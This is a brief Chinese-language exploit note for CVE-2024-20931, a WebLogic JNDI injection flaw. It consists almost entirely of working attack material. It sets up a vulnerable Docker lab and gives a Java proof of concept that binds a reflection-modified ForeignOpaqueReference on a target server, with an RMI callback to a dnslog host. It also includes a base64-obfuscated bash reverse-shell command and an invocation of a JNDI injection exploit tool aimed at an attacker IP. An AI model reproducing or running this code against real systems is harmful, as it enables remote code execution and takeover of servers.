CVE-2024-20931：Weblogic JNDI注入远程命令执行漏洞

docker pull ismaleiva90/weblogic12

docker run -dit -p 7001:7001 -p 7002:7002 --restart=always ismaleiva90/weblogic12:latest

package com.supeream;

import weblogic.deployment.jms.ForeignOpaqueReference;

import javax.naming.Context;

import javax.naming.InitialContext;

import java.lang.reflect.Field;

import java.util.Hashtable;


public class CVE_2024_209321 {

  public static void main(String[] args) throws Exception {

     String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";

 
     // 创建用来远程绑定对象的InitialContext

     String url = "t3://192.168.86.6:7001"; // 目标机器

     Hashtable env1 = new Hashtable();

     env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);

     env1.put(Context.PROVIDER_URL, url); // 目标

     InitialContext c = new InitialContext(env1);

 
     // ForeignOpaqueReference的jndiEnvironment属性

     Hashtable env2 = new Hashtable();

     env2.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory");

     env2.put("datasource", "rmi://jwbye8.dnslog.cn/mt");

 
     // ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性

     ForeignOpaqueReference f = new ForeignOpaqueReference();

     Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");

     jndiEnvironment.setAccessible(true);

     jndiEnvironment.set(f, env2);

     Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");

     remoteJNDIName.setAccessible(true);

     String ldap = "rmi://jwbye8.dnslog.cn/mt";

     remoteJNDIName.set(f, ldap);

 
     // 远程绑定ForeignOpaqueReference对象

     c.rebind("glassy", f);


     // lookup查询ForeignOpaqueReference对象

     try {

       c.lookup("glassy");

     } catch (Exception e) {

     }
  }
}

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMzEuNDguMS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "编码后的反弹Shell命令" -A "攻击机IP"